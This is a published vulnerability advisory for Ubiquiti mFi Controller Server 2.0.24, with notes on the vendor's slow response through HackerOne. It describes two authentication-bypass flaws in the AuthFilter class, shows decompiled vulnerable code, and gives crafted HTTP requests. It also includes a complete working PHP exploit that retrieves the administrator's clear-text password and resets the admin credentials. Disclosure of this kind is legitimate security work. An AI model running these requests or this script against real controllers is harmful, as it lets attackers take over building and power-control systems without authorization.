(Update: We are republishing this after removing it – as requested by the vendor – but as the vendor has not responded nor provided any progress in the last 30 days, we are making the information public again)
Introduction
mFi hardware and software combines plug-and-play installation with big-data analytics, event reporting and scheduling to create powerful relationships between sensors, machines and power control.
Vulnerability Details
Ubiquiti Networks mFi Controller Server installs a web management interface which listens on default public port 6443 (tcp/https). It offers a login screen where only the administrator user can monitor and control remotely the configured devices .
Because of two errors inside the underlying com.ubnt.ace.view.AuthFilter class, it is possible to bypass the authentication mechanism and have access ex. to the “ApiServlet” servlet.
Example requests:
1)
POST /%61pi/v1.0/list/admin/login?fmt=json HTTP/1.0 X-Requested-With: XMLHttpRequest Host: [host] Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: [data_length] Connection: Close json=%7B%7D
This will give you the clear text username and password of the application in JSON format. An ‘_id’ field is also retrieved, this will be useful in the following request.
2)
POST /%61pi/v1.0/upd/admin/[id_field]/login HTTP/1.0 X-Requested-With: XMLHttpRequest Host: [host] Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: [data_length] Connection: Close json=%7B%22name%22%3A%22[USER]%22%2C%22x_password%22%3A%22[PASS]%22%7D
This will reset the administrative credentials. Both username and password are changed now to values of choice.
The trick is encoding the ‘a’ of ‘api’ and appending ‘/login’ to the request uri.
Given this, a remote attacker could then login and perform unauthorized operations as administrator through the secure web interface.
Vulnerable code
See C:\Users\Administrator\Ubiquiti mFi\webapps\ROOT\WEB-INF\web.xml:
... <!-- API Servlets --> <servlet> <servlet-name>ApiServlet</servlet-name> <servlet-class>com.ubnt.ace.api.ApiServlet</servlet-class> <load-on-startup>1</load-on-startup> </servlet> <servlet-mapping> <servlet-name>ApiServlet</servlet-name> <url-pattern>/api/*</url-pattern> </servlet-mapping> ... ... <filter> <filter-name>AuthFilter</filter-name> <filter-class>com.ubnt.ace.view.AuthFilter</filter-class> <--- <!-- <init-param> <param-name>skip</param-name> <param-value>false</param-value> </init-param> --> </filter> <filter-mapping> <filter-name>AuthFilter</filter-name> <url-pattern>/manage/*</url-pattern> <url-pattern>/wizard/*</url-pattern> <url-pattern>/api/*</url-pattern> <--- <url-pattern>/op/*</url-pattern> <url-pattern>/dl/backup/*</url-pattern> <url-pattern>/dl/support/*</url-pattern> <url-pattern>/upload/backup/*</url-pattern> <url-pattern>/login/*</url-pattern> <url-pattern>/logout/*</url-pattern> <url-pattern>/login-api/*</url-pattern> <url-pattern>/mobile/*</url-pattern> </filter-mapping> ... now look the decompiled com.ubnt.ace.view.AuthFilter class: ... package com.ubnt.ace.view; import com.ubnt.ace.api.A; import com.ubnt.ace.api.ApiServlet; import com.ubnt.data.Admin; import com.ubnt.data.X; import com.ubnt.service.ServiceLocator; import com.ubnt.service.system.DbService; import com.ubnt.service.system.SystemService; import java.io.IOException; import java.net.URL; import javax.servlet.*; import javax.servlet.http.*; import org.apache.log4j.Logger; public class AuthFilter implements Filter { public AuthFilter() { D200000 = null; } public void init(FilterConfig filterconfig) throws ServletException { D200000 = filterconfig; } public void destroy() { D200000 = null; } public void doFilter(ServletRequest servletrequest, ServletResponse servletresponse, FilterChain filterchain) throws IOException, ServletException { HttpServletRequest httpservletrequest = (HttpServletRequest)servletrequest; HttpServletResponse httpservletresponse = (HttpServletResponse)servletresponse; HttpSession httpsession = httpservletrequest.getSession(); if(D200000.getInitParameter("skip") != null) { filterchain.doFilter(servletrequest, servletresponse); return; } String s = httpservletrequest.getRequestURI(); SystemService systemservice = ServiceLocator.F600000(); boolean flag = servletrequest.getLocalPort() == systemservice.getHttpPort() || servletrequest.getLocalPort() == systemservice.getHttpsPort(); if(!flag) { httpservletresponse.sendError(400); return; } Admin admin = (Admin)httpsession.getAttribute("admin"); boolean flag1 = systemservice.isFactoryDefault(); if(httpsession.getAttribute("javax.servlet.jsp.jstl.fmt.locale.session") == null) httpsession.setAttribute("javax.servlet.jsp.jstl.fmt.locale.session", "en_US"); if(s.startsWith("/api/")) <--- [*] { if(!flag1 && admin == null) { A a = new A(); a.o00000("rc", "err"); a.o00000("msg", "api.err.LoginRequired"); try { String s3 = servletrequest.getParameter("fmt"); httpservletresponse.setStatus(403); if("xml".equals(s3)) { httpservletresponse.setHeader("Content-Type", "text/xml"); a.o00000(httpservletresponse.getWriter(), 1, "none"); } else { a.o00000(httpservletresponse.getWriter()); } } catch(IOException ioexception) { } } else { try { String s1 = (new URL(httpservletrequest.getHeader("referer"))).getHost(); String s4 = (String)httpsession.getAttribute("controller_host"); if(s1 != null && s4 != null && !s1.equals(s4)) { A a1 = new A(); a1.o00000("api.err.LoginRequired"); httpservletresponse.setHeader("Content-Type", "application/json"); ApiServlet.responseJson((HttpServletResponse)servletresponse, a1); return; } } catch(Exception exception) { } filterchain.doFilter(servletrequest, servletresponse); } } else if(flag1 && !s.startsWith("/wizard")) httpservletresponse.sendRedirect("/wizard"); else if(!flag1 && s.startsWith("/wizard")) httpservletresponse.sendRedirect("/manage"); else if(s.startsWith("/logout")) { httpsession.removeAttribute("admin"); httpservletresponse.sendRedirect("/manage"); } else if(s.startsWith("/mobile/logout")) { httpsession.removeAttribute("admin"); httpservletresponse.sendRedirect("/mobile/login"); } else if(s.endsWith("/login")) <--- [**] filterchain.doFilter(servletrequest, servletresponse); <--- boom else if(s.startsWith("/login")) { filterchain.doFilter(servletrequest, servletresponse); } else { String s2 = ""; if(s.startsWith("/mobile")) s2 = "/mobile"; if(!flag1 && admin == null) { httpsession.setAttribute("redirect_url", s); httpservletresponse.sendRedirect((new StringBuilder()).append(s2).append("/login").toString()); } else { filterchain.doFilter(servletrequest, servletresponse); } } } public static Admin authenticate(String s, String s1) { X x = new X(); x.put("name", s); x.put("x_password", s1); return (Admin)ServiceLocator.D2O0000().o00000(com/ubnt/data/Admin, x); } private static final Logger o00000 = Logger.getLogger(com/ubnt/ace/view/AuthFilter); private FilterConfig D200000; } ...
You cannot do string comparisons like this (see [*]), you can always urlencode the request uri!, this is the first bypass.
Same error at [**], we can append “/login” to the request uri, this is the second bypass.
Exploit Code
<?php /* Ubiquiti Networks mFi Controller Server 2.0.24 AuthFilter Class Auth Bypass / Reset Administrative Credentials Exploit Usage: C:\php>php ubiquiti.php 192.168.0.1 1 [*] Attacking... [*] Username -> admin [*] Password -> djkejfjkdert12 C:\php>php ubiquiti.php 192.168.0.1 2 [*] Attacking... [*] Username -> admin [*] Password -> djkejfjkdert12 [*] Resetting credentials ... [*] Done. Now browse https://192.168.0.1:6443 and login as Administrator with credentials user:mypass1234 C:\php> user */ error_reporting(E_ALL ^ E_NOTICE); set_time_limit(0); $err[0] = "[!] This script is intended to be launched from the cli!"; $err[1] = "[!] You need the curl extesion loaded!"; if (php_sapi_name() <> "cli") { die($err[0]); } function syntax() { print("usage: php ".$argv[0]." [ip_address] [action]\r\n"); die(); } $argv[1] ? print("[*] Attacking...\n") : syntax(); if (!extension_loaded('curl')) { $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false; if ($win) { !dl("php_curl.dll") ? die($err[1]) : print("[*] curl loaded\n"); } else { !dl("php_curl.so") ? die($err[1]) : print("[*] curl loaded\n"); } } function _s($url, $is_post, $ck, $request) { global $_use_proxy, $proxy_host, $proxy_port; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); if ($is_post) { curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $request); } curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_HTTPHEADER, array( "Cookie: ".$ck , "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With: XMLHttpRequest", "Accept: */*", "Referer: https://127.0.0.1:6443/manage#Devices" )); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_TIMEOUT, 0); if ($_use_proxy) { curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port); } $_d = curl_exec($ch); if (curl_errno($ch)) { die("[!] ".curl_error($ch)."\n"); } else { curl_close($ch); } return $_d; } $host = $argv[1]; $port = 6443; $action = (int)$argv[2]; if (($action<>1) and ($action<>2)) {die("[!] Unknown action.");} if (($action == 1) or ($action == 2)) { $data="json=%7B%7D"; $url = "https://$host:$port/%61pi/v1.0/list/admin/login?fmt=json"; $out = _s($url, 1, "",$data); if (!strpos($out,"x_password")){ print($out."\n"); die("[!] Unknown error."); } $tmp=explode("\"name\" : \"",$out); $tmp=explode("\"",$tmp[1]); $user = $tmp[0]; echo "[*] Username -> ".$user."\n"; $tmp=explode("\"x_password\" : \"",$out); $tmp=explode("\"",$tmp[1]); $pwd = $tmp[0]; echo "[*] Password -> ".$pwd."\n"; $tmp=explode("\"_id\" : \"",$out); $tmp=explode("\"",$tmp[1]); $id = $tmp[0]; //echo "[*] id -> ".$id."\n"; if ($action ==2) { echo "[*] Resetting credentials ...\n"; $user="user"; $pass="pass"; $data="json=%7B%22name%22%3A%22".$user."%22%2C%22x_password%22%3A%22".$pass."%22%7D"; $url = "https://$host:$port/%61pi/v1.0/upd/admin/".$id."/login"; $out = _s($url, 1, "",$data); //print($out."\n\n"); if (strpos($out,"\"x_password\" : \"".$pass)){ echo "[*] Done. Now browse https://".$host.":".$port." and login as Administrator\n with credentials ".$user.":".$pass; } else { echo "[!] Unknown error."; } } } ?>
Vendor Response
(Please note we are not blaming hackerone with anything)
The vendor has informed us via email that we should post advisories/vulnerabilities through the hackerone portal:
Thank you for contacting us regarding the Ubiquiti Security Team.
We have moved all of our Security Rewards program submission to our HackerOne portal:
https://hackerone.com/ubnt
If you have any submissions, please submit them there.
For any other inquiries, we will respond to you as soon as possible.
All the best,
Ubiquiti Networks Security Team
I initially thought this meant a prompt handling, however after posting it to the portal on the 13th of July 2015 and it still being on the 2nd of September 2015 in New (Open), I believe this isn’t working.
Follow up emails to security[@]ubnt.com went unanswered (while before they sent me the above response), so I believe they are ignoring the emails and “standing” behind their stance that we should use hackerone (not working) method of reporting.